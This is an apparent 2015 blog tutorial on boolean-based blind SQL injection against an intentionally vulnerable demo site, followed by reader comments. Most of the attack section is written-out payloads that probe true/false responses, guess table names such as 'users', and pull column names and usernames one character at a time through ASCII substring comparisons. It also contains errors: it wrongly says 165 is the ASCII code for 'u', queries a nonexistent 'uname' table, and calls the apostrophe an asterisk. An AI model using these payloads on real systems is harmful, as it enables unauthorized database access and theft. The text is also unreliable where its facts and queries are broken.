Thursday, February 19, 2015

Blind SQL Injection

Only proceed if you know SQL Injection basics. If not, read these posts first-

What we know so far

If you've read the above three tutorials, you know the basic theory of what SQL Injection is, you know how to carry it out using you web browser on a vulnerable website, and you know how to use SQLMap to automate some of the process.

Now, for revision's sake, what we did in the Manual SQL injection tutorial was-
  1. Found a potentially vulnerable website (
  2. Used the asterisk  ( ' ) to verify vulnerability.
  3. Found out the number of rows and columns by making some small changes to the URL (which eventually changes the query that is executed on the server)
  4. We then obtained names of tables, their columns, and finally extracted data.
However, it is worth noting that the website was intentionally left vulnerable, and most often the flaws in security aren't this obvious. In our case, the website was willingly responding to our queries with errors. This may not always be the case. As long as we can see the errors, we know we're going in the right direction. Errors tend to give us clues. However, some websites may choose to suppress the error messages. This make SQLi harder. This is known as Blind SQL Injection.

What I didn't tell you

I explained in subtle details what each and every step did. However, I did not explain the motive behind each step. (I gave a rough idea in the Sql injection basics post)
The purpose of the asterisk ( ' ) was to find out how the server handles bad inputs. If it has some mechanisms for sanitizing or escaping these dangerous characters, then we would not see any error in output.

Now this is not intended to be a theoretical post. While the SQL Injections basics post was for total beginners, I am linking a SQL Injection post appropriate for anyone who has carried out the classical SQL Injection attack, which we did in the manual SQL injection attack post, and is ready for blink SQL Injection.

Intermediate level sql injection (Wikipedia had great theory on SQLi, so I cropped the important bits for a hacker's point of view and posted it here)

SQL Injection example with explanation (This post isn't very useful for actual hacking, but explains concepts very well with examples. PS: This is an external link. Since their content is not licensed under creative commons, I couldn't simply crop the important part and put it here, so you have to go to their website)

PS: The posts in the beginning of the tutorial are mandatory, these are optional reads. You may choose to skip these and come back later and read whenever you're free. Now we'll get started.

Finding a suitable website 

We now have to find a website which is vulnerable to SQL Injection, but does not show error messages. Basically, a site which can be hacked into but not using classical attacks. The site will not give any obvious responses to our attacks. This is why it is called a blind SQL Injection. It is hard to know whether we're doing it right or not.

Now there's a problem. Blind SQLi is quite time consuming. One first tried the classical attacks, and if they fail, then only they proceed to blind SQLi. I can't find a website which wouldn't mind being attacked, and exposed in public. So I'll have to use the same old website. The URL we're going to attack is vulnerable to classical SQLi. However, we're going to assume that it's not, and attack it without using any of the methods we used in the previous SQLi tutorial. That being said, blind SQLi involves a lot of guessing, and the fact that I can use union based sql injection (classical injection that we did already) to find out table names, etc. makes it much easier for me to write the tutorial. Now we'll begin-

Finding out if target is vulnerable

Our target in this attack is -
Now the first take is to find out whether the target is vulnerable or not. Ideally, one would add an asterisk to find whether the target is vulnerable to classical injection. If not, then only should he/she proceed to blind SQLi. In our case, the target is indeed vulnerable to classical injection (since we see an error when we append an asterisk ' to the url). But for the sake of learning, we will ignore this fact and proceed with Blind SQLi. We will from now assume that there will be no errors whatsoever to aid our attack.

Now we have a problem

If the site won't return any errors, how can we find out if it's vulnerable? The solution is a pretty elegant one. This attack is based on boolean algebra. It's pretty intuitive and surprisingly simple.

The basic concept is as simple as the following :-
(true and true ) = true
When we specify 1=2
(true and false) = false
1=1 is true
1=2 is false

Now look at the statements- and 1=1 and 1=2
When we specify 1=1
Now the basic condition for determining whether the website is vulnerable to injection is to find out whether it executes the code we send it, or just ignores it. Earlier we used asterisk and the error suggested that our code was indeed processed. This time errors are not shown, so we use logic. In the first URL, the condition evaluates as true, and page is displayed as usual. Basically we're asking the table to show the page if it's 'category is 2' and '1 is the same as 1'. Both the conditions are fulfilled and page is shown. In the second case, 'category is 2' but '1 is not the same as 2', so the conditions simplify to false, and nothing is shown. What can we conclude? We conclude that the code we add to the URL is processed by the DBMS software (usually MySQL).

Finding other details

Now the process of finding out other details would be identical. We now know that if we type a true statement after and, then the page is displayed, else it's not. We can simply keep guessing stuff till we are right, in which case the condition is true, and page is displayed.

Finding version

Now it is very impractical to expect that we'll be easily able to guess the complete version, the pic will show you why (it's from the manual SQLi tutorial)
However, we don't need to know the exact version. Finding out whether it's MySQL version 4 or 5 is sufficient. For that, we can extract a substring from the version, which in this case, is simply the first character of the version. This can be done using substr(@@version,1,1). @@version returns the whole thing but 1,1 extracts the first character. We can then equate it with 4 or 5 to find out which version the website is using.
PS: I put this screenshot here to explain why we used substring, we didn't use the fact that we know the version of SQL already in any way. Even if you have no clue about the version (which is what is going to happen in real life scenario), you can find out the version by looking at the output of the following URLs. You can read more about Substring clause here. and substring(@@version,1,1)=4 and substring(@@version,1,1)=5 

As you might have guessed, the version is 5 since it did not return a blank page. I hope you've started to see the pattern now.

Finding tables, columns and records

We will now have to guess the table names. The idea is to start with some common ones, and you'll most probably get a few tables. Most databases have a table for users, admin, login, employees,  etc. Now I'll demonstrate a few failures and successes and then we'll proceed. There is another alternate in which we can go character by character. There is a third method where we can use ASCII codes too.

Problem : Since the website does not display output, how do we find out the table names?
Solution : We can do what we've been doing so far, ask the website if table name = X , where X is our guess at table name. We will keep repeating until the condition returns true, i.e., the exists a table with the name that we guessed.

Problem : This is just a concept, how do we put it to action? How do we ask the database to return true if we guess the right table name? Can't be as simple as 1=1....
Solution :  We will use the select query. select 1 from X is going to be our query. If there is a table called X, then output will be one. Now we can use this output to generate a condition. (select 1 from X) = 1. If X table exists, then output will be 1. Since 1=1, condition will be true. If X does not exist, condition will be false.

Problem : What if we can't guess the table name?
Solution : We have 2 more alternatives. First is to use substr, as we did while finding version, to find out the table name character by character. Basically, we will ask the table if first character of table name is a. If not, we'll try b, c, d, etc. After that we'll proceed to second character. This way, we are guaranteed to find out the table name. (I hope you are getting a good idea why it's called blind SQLi)

Alternate Solution : We can use ASCII values to speed up the above solution. Basically, we can't directly compare characters like number. 6 is greater than 5, but b is not greater than a. Characters can't be compared like that. However, their ASCII forms can, since each alphabet corresponds to a number in ASCII. We can use this fact to ask the table if the first letter of the table name is more than P or less than it. This way, if the table says it's more, we don't have to check the alphabets before P, and Vice Versa. [This is just the concept, I'll demonstrate how it's to be done].

Now, for finding table name, I'll stick to simple guessing. The remaining 2 concepts will be demonstrated while finding column name and data value respectively.

Limit Clause : It must be noted that select query returns all the results from a given table, not just the first. For example, if a table has 500 records, and you ask the table for records where first table is 'a', it will return not one, but all the records with first letter 'a'. This is not what we want. To avoid this, we use limit clause.
Here is a short summary, read the complete section on Limit clause here.
Let’s see what the offset and count mean in the LIMIT clause:
  • The offset specifies the offset of the first row to return. The offset of the first row is 0, not 1.
  • The count specifies maximum number of rows to return.
I've covered all the concepts, now I hope you can read the commands and figure out what they mean.

Table name

Now we'll try to guess table name and (SELECT 1 from admin)=1
The error message will not be displayed in real blind SQLi. We will see a blank output, like we did earlier. and (SELECT 1 from users)=1 
The page loads fine. This means there is indeed a table named users.
Now, if you are trying this attack on some other site, then you might not be able to guess the name if it isn't as obvious as users. So I recommend you keep reading and try again once you know how to guess one letter at a time (for column name) and how to use ASCII (for obtaining data).
PS: Here limit is not required since we guessed the whole table name at once and not character by character.

Column Name

1. Guessing the whole name

Now, there are 2 ways to get column name. The first way is to guess the complete column name, as we did for table name. and (SELECT substring(concat(1,username),1,1) from users limit 0,1)=1 and (SELECT substring(concat(1,uname),1,1) from users limit 0,1)=1 
The page displays normally for uname, so we know that a column called uname exists. For practice, you can also replace uname with pass,cc,address,email,name,phone,cart1. All these columns also exist in the table.

2. Guessing character by character using equality (=)

The second way is to go character by character. There are 2 ways to do this too. One is to guess the character directly, second is to find the range in which the character lies, and then guess it. I'll show both. This method requires information_schema, i.e. it will work for MySQL 5 series but not 4.
Here I have directly used 117. You may (and in reality will have to) try all possible ascii codes (65 to 122 for A to z) and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117
 PS: I tried to see if MySQL automatically converts the character to their ASCII value, and found out that it does indeed. So one may skim the query a bit and finally it will be like. So basically, contrary to what I said earlier, b is indeed bigger than a. Here is the same code with u instead of 117,1),1,1)='u' 
165 is ASCII code for u. We know the column name is uname, so the page should display fine, which it does. You can try values other than 85 and see what happens. Also, 7573657273 is hex code for users (0x indicates hex). Remember, you can do the same for tables by making a few changes. Firstly replaced the bold column in above code with table. A few more changes are necessary too. Here's what the final code looks like :-

3. Guessing character using > or < followed by =

It's almost the same as we did before and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 100
We now know it's >  100 (100 is 'd'), since the page displayed properly and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 120
But it is less than 120 ('x'), since page doesn't display well. and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 110
Greater than 110 ('n') and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 115
Greater than 115 ('s'). Now only 4 possibilities remain, 116, 117, 118, 119, 120 (it is greater than 116 but not greater than 120). We can now try all 5 one by one. I have also highlighted the ascii part in above queries. You can remove the bold text and replace the numbers with characters in single quotes ('a', 'b', etc., also provided in bold below the code)
Finally you'll get success at- and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117

However, we only know the first letter of the column name. To find the second letter, replace the red text from 1 to 2. The code becomes- and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 117
It will not display properly since the second character in uname is n. (ascii 110) and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 110
You can use the > < = method here too. Everything other than 2 will be the same.

Extracting data

Now while what you did so far wasn't very swift either, what you're going to do now is going to be terribly slow. You have to guess the data as well. Each and everything needs to be guessed. and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>64 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>100 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120
Page doesn't display properly for 120 (x) and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>115 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))=116
So the first letter is 't'. For second character (without ascii this time) and substring((SELECT concat(uname) from users limit 0,1),2,1)>'a' and substring((SELECT concat(uname) from users limit 0,1),2,1)>'f'  
It lies between 'b' and 'f' and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'b'
 Keep trying and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'e'
Second character is 'e'. You may proceed to do so until you find the complete uname. You can ensure that a character was the last in the word by using the following command. and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>0
 If there is any other character left, >0 will always return true.

This was all there is to blind SQL Injection. In the next post I'll introduce you to some tools which do the task for you. To be honest, no one will call you a noob if you use scripts/ tools to automate blind SQLi. It is a really time consuming process and it is not required to waste so much time when you can write a script to do all the guesswork for you.


  1. I guess that no serious one will call you a noob for writing a script as long as you are able to either do manually or explain precisely what the script actually does ^^
    I thank you a lot for all your work which helped me a lot not being a noob - as far as SQLi is concerned - anymore

  2. Just wanted to say that I have very much so enjoyed your posts. Very educational and detailed. Keep up the good work (^.^)

  3. well done explanation, but i'm trying to exploit it just like here, manually, but sometimes it doesn't work, don't know why?


    1. If it is "Sometimes" like some yes and some no, then it is a problem
      If it was working and now not, the page fixed
      If it was working with a code and the other not, then the other code is wrong

  4. can you write a tutorial using the time based sqli??you know with the sleep command...


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